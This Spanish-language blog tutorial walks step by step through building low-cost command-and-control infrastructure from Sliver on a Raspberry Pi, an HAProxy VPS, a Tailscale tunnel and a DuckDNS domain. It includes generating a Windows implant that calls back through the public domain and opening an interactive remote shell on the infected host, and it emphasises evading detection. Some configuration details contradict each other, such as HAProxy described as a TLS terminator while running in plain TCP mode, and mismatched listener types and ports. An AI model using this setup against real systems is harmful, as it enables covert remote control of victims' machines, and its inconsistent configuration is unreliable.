# Infraestructura C2 económica en Raspberry Pi: Configuración paso a paso en una tarde
La construcción de infraestructura de comando y control (C2) para investigación en ciberseguridad suele asociarse con soluciones comerciales costosas. Esta guía explica paso a paso cómo implementar un sistema C2 completamente funcional en una Raspberry Pi 4 utilizando software de código abierto. El énfasis está en mantener los costos bajos mientras se preservan las funciones esenciales: tráfico cifrado, DNS dinámico y sigilo frente a la detección. Este material es solo para fines educativos, dentro del ámbito del hacking ético.
Estructura del sistema C2 económico
Necesitarás lo siguiente para la construcción:
- Raspberry Pi 4 (4 GB RAM) — servidor principal de implantes
- Tarjeta SD de 32 GB
- VPS con 2 GB RAM (desde 4 €/mes) para el punto de conexión público
- Tailscale — para túneles seguros entre componentes
- Sliver v1.7.3 — alternativa de código abierto a Cobalt Strike
- DuckDNS — servicio de DNS dinámico
La arquitectura del sistema sigue este flujo: implante → duckdns.org:443 → VPS (HAProxy) → Tailscale → Raspberry Pi (Sliver:31337). Esta configuración oculta la IP real del Pi detrás de un dominio público y cifra el tráfico en cada salto.
Configuración del túnel seguro con Tailscale
Instala Tailscale tanto en la Raspberry Pi como en el VPS de la misma manera. Ejecuta en la terminal:
curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up
Tras la autenticación basada en navegador, el sistema asigna a cada nodo una IP única de Tailscale (p. ej., Pi: 100.92.XX.XXX, VPS: 100.106.XXX.XX). Prueba la conectividad entre nodos:
ping 100.92.XXX.XXX
Punto clave: el tráfico entre componentes está cifrado de extremo a extremo, lo que impide la intercepción en nodos intermedios. Tailscale maneja automáticamente las actualizaciones de rutas si cambian las IP, lo cual es crucial para la estabilidad de la conexión.
Despliegue de Sliver en Raspberry Pi
Descarga el binario de Sliver para ARM64:
cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server
Inicia el servidor como daemon, permitiendo conexiones desde cualquier interfaz:
sliver-server daemon --lhost 0.0.0.0 --lport 31338
El listener de implantes se ejecuta en el puerto 31337. Para la gestión, usa la consola de Sliver: sliver-server console. Asegúrate de que el puerto 31337 esté abierto en el firewall de la Raspberry Pi.
Configuración de HAProxy en el VPS
Instala HAProxy en el servidor virtual:
sudo apt install -y haproxy
Edita el archivo de configuración /etc/haproxy/haproxy.cfg:
global
log /dev/log local0
maxconn 10000
defaults
mode tcp
timeout connect 5s
timeout client 60s
timeout server 60s
frontend sliver_frontend
bind :443
default_backend sliver_backend
backend sliver_backend
server pi4 100.92.XXX.XXX:31337 check
Reinicia el servicio:
sudo systemctl enable haproxy
sudo systemctl start haproxy
HAProxy actúa como terminador TLS, reenviando el tráfico del puerto 443 a la dirección interna de la Raspberry Pi a través de Tailscale. Verifica que funcione: openssl s_client -connect your-domain.duckdns.org:443.
Integración de DNS dinámico
Registra un dominio en DuckDNS y apúntalo a la IP pública del VPS. Para actualizaciones automáticas de IP, añade un script de actualización a cron. Verifica la resolución del dominio:
dig your-domain.duckdns.org
Este paso es vital para la estabilidad de la conexión cuando cambia la IP externa del VPS. DuckDNS asegura que el dominio siempre resuelva a la dirección actual del servidor.
Generación y prueba del implante
En la consola de Sliver, crea un listener HTTP:
http --domain your-domain.duckdns.org --lhost 0.0.0.0 --lport 31337
Genera un implante para Windows con autenticación mTLS:
generate --mtls your-domain.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe
Transfiere el archivo a un sistema de prueba Windows 10 (desactiva las defensas para la demostración). Una vez que se ejecuta el implante, aparece una sesión en la consola de Sliver:
[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64
Conéctate a la sesión:
sessions -i c5360843
shell
La prueba confirma la resiliencia de la conexión: las sesiones sobreviven reinicios del implante o cambios de red.
Optimización y operación
Para mayor fiabilidad, recomendamos:
- Configura Sliver para que se inicie automáticamente mediante systemd
- Añade monitoreo de logs de HAProxy
- Usa dominios separados para diferentes listeners
- Renueva regularmente los certificados de Let's Encrypt
Comandos clave para la gestión diaria:
# Iniciar Sliver
sliver-server daemon --lhost 0.0.0.0 --lport 31338
# Ver sesiones activas
sessions
# Entrar en shell interactivo
sessions -i <ID>
shell
El sistema permite la gestión de implantes mediante la app móvil de Tailscale, dándote acceso desde cualquier lugar del mundo.
Puntos clave
- Arquitectura de doble cifrado (TLS + Tailscale) minimiza el riesgo de detección de tráfico
- Costos mensuales limitados al VPS (desde 4 €); todo el resto del software es de código abierto
- Raspberry Pi 4 maneja cómodamente hasta 50 sesiones concurrentes
- La integración de DuckDNS resuelve problemas de IP dinámicas sin costo extra
- Sliver reemplaza completamente herramientas comerciales con conocimientos básicos de redes
— Editorial Team
Aún no hay comentarios.